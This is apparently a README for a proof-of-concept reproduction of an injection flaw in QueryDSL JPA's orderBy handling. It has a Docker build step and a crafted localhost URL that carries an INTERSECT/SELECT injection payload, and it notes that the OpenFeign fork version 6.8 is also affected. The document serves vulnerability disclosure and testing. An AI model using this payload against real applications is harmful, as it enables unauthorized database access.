Build

docker compose up -d

Reproduce

In browser go to

http://localhost:8000/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+'2')='2'+ORDER+BY+t.id

Note

Also works with io.github.openfeign.querydsl. When replacing dependencies in demo/pom.xml

<groupId>com.querydsl</groupId>
<artifactId>querydsl-apt</artifactId>
<version>5.1.0</version>

with

<groupId>io.github.openfeign.querydsl</groupId>
<artifactId>querydsl-apt</artifactId>
<version>6.8</version>

and

<groupId>com.querydsl</groupId>
<artifactId>querydsl-jpa</artifactId>
<version>5.1.0</version>

with

<groupId>io.github.openfeign.querydsl</groupId>
<artifactId>querydsl-jpa</artifactId>
<version>6.8</version>